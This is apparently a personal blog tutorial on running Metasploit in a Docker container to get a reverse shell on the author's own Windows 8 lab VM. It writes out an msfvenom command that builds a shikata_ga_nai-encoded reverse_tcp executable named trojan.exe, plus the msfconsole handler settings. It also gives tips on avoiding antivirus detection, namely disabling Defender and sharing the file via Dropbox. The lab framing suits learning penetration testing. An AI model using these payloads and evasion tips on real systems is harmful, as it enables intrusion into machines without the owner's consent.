Hey everyone, just payed for a new VPS and this is my very first post on using metasploit on docker. Why docker? Because it's an out of the box solution and it's really fast to set up. I know there's quite a few tutorials out there about setting up metasploit on docker but I thought I'd give my personal experience about it. Moreover I am planning to write some more elaborate posts about it such as using veil and armitage and this will serve as a good basis.
DISCLAIMER: This article was inspired by the MISC hors-série N°14 article written by Jean-Christophe Baptiste as well as this article.
So for those who don't know what metasploit is, well it began as an awesome open source project and was aquired by rapid7. It is now under a modified BSD license which I will not discuss here.
Today it includes an opcode and shellcode database and really makes it easy to run a large amount of exploits.
In order to test our docker metsaploit install, we will need a victim machine. There is a famous virtual machine which was made with the aim of learning how to use metasploit called metasploitable
However I wanted to test a windows payload hence I used a windows 8 virtual machine. I did not want to reinstall windows using an iso so I downloaded a .ova from this awesome website provided by microsoft (See? They don't always mess everything up!)
I will not cover how to set up the vm in virtualbox as there are plenty of tutorials out there. Same goes for installing docker.
Getting the docker container up and generating the payload
First we want to pull a docker image that we will use to create our container. To do so:
sudo docker pull remnux/metasploit
Now, I found this pretty good metasploit container on docker hub but there is another one I would recommend (from a MISC magazine article) from phocean/msf.
sudo docker images
Will show all the existing docker images:
Now we want to run a docker container using this image:
sudo docker run --rm -it -p 3333:3333 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
The --rm option will delete the container after it stops.
The -it options are used to open an interactive session and start a shell on the container for the user.
The -p option will bind port 3333 of the host machine with port 3333 of the docker container (Make sure your iptable rules are set accordingly).
The -v directory will create a shared folder between host and container.
We will use this to retrieve the payload generated through msfvenom using the following command in the docker container:
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=172.17.0.170 LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -f exe -o trojan.exe
The -a option specifies the processor architecture of the victim machine on which we will run the payload.
The --platform option specifies the platform (duh!)
The -p option indicates the payload that we will be using. This one opens a simple reverse tcp shell.
LHOST and LPORT indicate the ip and port to which the payload must connect. In our case this will be the IP and port of the docker host machine (not the docker container as the binding will be handled by the docker-engine).
-b Specifies forbiden characters to avoid in the payload.
-e specifies the encoder. Shikata_ga_nai is a pretty famous metaspoit encoder.
To quote null-byte:
First, this strange sounding shikata_ga_nai encoder is a Japanese phrase that loosely translates to "nothing can be done about it." An excellent name for an encoder with bad intentions!
Second, it's an additive XOR polymorphic encoder. Without going into too much detail, this means that it will change its shape/signature (polymorphic), by
using an XOR encrypting scheme. XOR is far from a perfect encryption scheme, but it's efficient and can generate multiple shapes/signatures quickly that can then be decrypted by the code itself once it arrives at the target.
Trouble is, it actually does a shit job of bypassing av protection because it is such a famous encoder. The following is the virus total score (if your av does not detect shikata_ga_nai, you should probably consider switching to another one or updating it...)
So we now have our awesome whateverunamedit.exe ! What we want to do now is go to the shared file we created on our host (/tmp/msf) here, copy the executable and open it (in a few moments, not right now!) on our windows vm. Not sure how to share a folder on virtualbox between a linux and a windows machine so I used dropbox to share the .exe across host and victim machine. Don't use emails or google drive as their antiviruses will detect our malicious .exe in no time!
Oh and make sure that windows defender is deactivated on the victim machine.
Now let's go back to our docker container and run an msfconsole on this bad boy.
The -q (--quiet) option just prevents the banner from being printed on startup. You might want to print it though as it's made of pretty awesome ASCII art.
And set the payload to the one we chose in msfvenom:
set payload windows/shell/reverse_tcp
As well as the LPORT and LHOST still the same as the one we chose before.
set LPORT 3333 set LHOST 172.17.0.170
The set LHOST option might be useless as the container will set it to 0.0.0.0 automatically and docker will handle the binding between host and container but I haven't tested it to be sure so just in case, specify the IP of the host machine (and not the container's).
Now comes the absolutely epically awesome part...
Oh! And at this point you can now run the .exe on the victim's virtual machine and initiate a reverse shell tcp connection between the docker container and the victim's virtual host. You might want to ping the machine hosting the docker engine beforehand just to be sure your network config is working all right.
The following image sums up all the commands you want to be running in your docker container to open a reverse shell (Of course change your LHOST ip and LPORT accordingly).
As I was playing around with metasploit and setting up this tutorial, I tried getting a reverse shell on my VPS and something very strange happened, I actually opened a reverse shell on a totally different machine than the one on which I ran the .exe.
I believe this is due to OVH having a pretty powerfull IPS that detects incoming malicious metasploit connections, blocks them, creates a sandbox and pretends it's the victim machine. I could only run a very limited amount of commands and this is the screenshot I got:
I have not contacted OVH support to inquire about this (and I doubt they'll give me a satisfying answer), if anyone knows what this is due to, please tell me, I am very interested.
Well this was my first article, it's pretty basic but it'll allow me to write some more interesting things. I hope you guys enjoyed it. If you have any questions I might try to answer them if you pop me an email or a comment.
Links (which I highly recommend checking out if you haven't yet)